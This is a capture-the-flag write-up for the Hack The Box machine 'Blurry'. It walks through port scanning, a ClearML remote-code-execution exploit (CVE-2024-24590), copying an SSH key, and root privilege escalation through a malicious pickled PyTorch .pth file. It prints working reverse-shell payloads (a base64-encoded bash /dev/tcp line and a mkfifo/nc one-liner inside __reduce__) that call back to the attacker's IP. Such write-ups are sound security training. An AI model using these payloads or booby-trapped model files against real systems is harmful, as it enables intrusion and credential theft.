Enumeration

As usual, we start with an nmap script to get a listing of open ports and running services:

sudo nmap -sS -sV -sC -oN scan_full.log -p- -T5 -Pn -n -v $target
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
| ssh-hostkey:
|   3072 3e:21:d5:dc:2e:61:eb:8f:a6:3b:24:2a:b7:1c:05:d3 (RSA)
|   256 39:11:42:3f:0c:25:00:08:d7:2f:1b:51:e0:43:9d:85 (ECDSA)
|_  256 b0:6f:a0:0a:9e:df:b1:7a:49:78:86:b2:35:40:ec:95 (ED25519)
80/tcp open  http    nginx 1.18.0
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.18.0
|_http-title: Did not follow redirect to http://app.blurry.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

We have only 2 ports open, the typical Linux web server style; SSH for administration and 80 for the web server.

Looking at the web server, we get presented with a redirect to app.blurry.htb so we must add this and probably blurry.htb to our /etc/hosts.

After adding this, we can refresh the page and are prompted to enter a username. I just entered pentester as I usually do and it then presented a page asking me to set up ClearML. It asks for us to run a few commands to get set up.

Following along, I ran pip install clearml and clearml-init then copied in the given configuration into the set up prompt. The initial setup failed because, as the errors suggest, we’re missing the api and files subdomain from our /etc/hosts file. We can add this and retry and it successfully sets ClearML for us.

Exploiting ClearML

I had no real idea what ClearML was so I had to do some Googling and look at the functionality of the website to understand what a path forward might be. Given the web application prompted us to install stuff locally, I figured the exploit would be with the ClearML application itself. I found this https://github.com/xffsec/CVE-2024-24590-ClearML-RCE-Exploit.

We can run this exploit using:

python3 exploit.py

Using our known IP address and desired port, as well as the project name of Black Swan which we know from looking at the application.

I set up the nc listener separately rather than using the exploit’s listener because I want to use rlwrap so I get the up/down arrow controls. Just easier in general. Use it where possible.

rlwrap nc -lnvp 4444
    ⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄
    ⠄⠄⠄⠄⠄⠄⠄⠄⣠⣴⣶⣾⣿⣿⣿⣷⣶⣤⣀⠄⠄⠄⠄⠄⠄⠄
    ⠄⠄⠄⠄⠄⢀⣴⣿⣿⣿⡿⠿⠟⠛⠻⠿⣿⣿⣿⡷⠆⠄⠄⠄⠄⠄
    ⠄⠄⠄⠄⢠⣿⣿⣿⠟⠁⠄⠄⠄⠄⠄⠄⠄⠉⠛⠁⠄⠄⠄⠄⠄⠄
    ⠄⠄⠄⢠⣿⣿⣿⠃⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄
    ⠄⠄⠄⢸⣿⣿⡇⠄⠄⠄⠄⣠⣾⠿⢿⡶⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄
    ⠄⢸⣿⣿⣿⣿⡇⠄⠄⠄⠄⣿⡇⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄
    ⠄⠄⣿⣿⣿⣿⣷⡀⠄⠄⠄⠙⠿⣶⡾⠟⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄
    ⠄⠄⠘⣿⣿⣿⣿⣷⣄⠄⠄⠄⠄⠄⠄⠄⠄⠄⣀⠄⠄⠄⠄⠄⠄⠄
    ⠄⠄⠄⠘⢿⣿⣿⣿⣿⣷⣦⣤⣀⣀⣠⣤⣴⣿⣿⣷⠄⠄⠄⠄⠄⠄
    ⠄⠄⠄⠄⠄⠙⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠿⠛⠁⠄⠄⠄⠄⠄⠄⠄
    ⠄⠄⠄⠄⠄⠄⠄⠈⠛⠻⠿⣿⣿⡏⠉⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄
    ⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄

CVE-2024-24590 - ClearML RCE
============================
[1] Initialize ClearML
[2] Run exploit
[0] Exit
[>] Choose an option: 2
[+] Your IP: 10.10.14.10
[+] Your Port: 4444
[+] Target Project name Case Sensitive!: Black Swan
[+] Payload to be used: echo YmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xMC80NDQ0IDA+JjEi | base64 -d | sh
[?] Do you want to start a listener on 4444? (y/n): n
[!] Remember to start a listener on 4444
ClearML Task: created new task id=9dcf45b83bfb4a808ef61034bc7c7a52
ClearML results page: http://app.blurry.htb/projects/116c40b9b53743689239b6b460efd7be/experiments/9dcf45b83bfb4a808ef61034bc7c7a52/output/log
[i] Please wait...

And we get a shell over in our nc listener:

listening on [any] 4444 ...
connect to [10.10.14.10] from (UNKNOWN) [10.10.11.19] 50666
bash: cannot set terminal process group (2527): Inappropriate ioctl for device
bash: no job control in this shell
jippity@blurry:~$

There is an .ssh directory available so we can copy back to our machine the id_rsa file and use it to SSH for a full shell to the machine.

Privilege Escalation to Root

Running sudo -l as the jippity user shows:

Matching Defaults entries for jippity on blurry:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User jippity may run the following commands on blurry:
    (root) NOPASSWD: /usr/bin/evaluate_model /models/*.pth

We can run the evaluate_model binary as root on any .pth file in the /models directory. Again, I had to Google what this file is even for. Simply Googling pth model exploit will reveal information on how to create an exploit for this system.

import torch  
import torch.nn as nn  
import os  
  
class ExploitModel(nn.Module):  
    def __init__(self):  
        super(ExploitModel, self).__init__()  
        self.dense = nn.Linear(10, 1)  
  
    def forward(self, demo): 
        return self.dense(demo)  

    def __reduce__(self):  
        cmd = "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.10 4444 >/tmp/f"  
        return os.system, (cmd,)
        
model = ExploitModel()  
torch.save(model, 'exploit.pth')

Running this provides an exploit.pth file which we can upload to the target into the /modules directory using scp:

scp -i id_rsa exploit.pth jippity@$target:/models/exploit.pth

Now we start another nc listener:

rlwrap nc -lnvp 4444

Then, in the SSH session as jippity, we can run:

sudo /usr/bin/evaluate_model /models/exploit.pth

And we received a shell running as root back in our nc listener:

connect to [10.10.14.10] from (UNKNOWN) [10.10.11.19] 43896
# id
uid=0(root) gid=0(root) groups=0(root)
# whoami
root
# hostname
blurry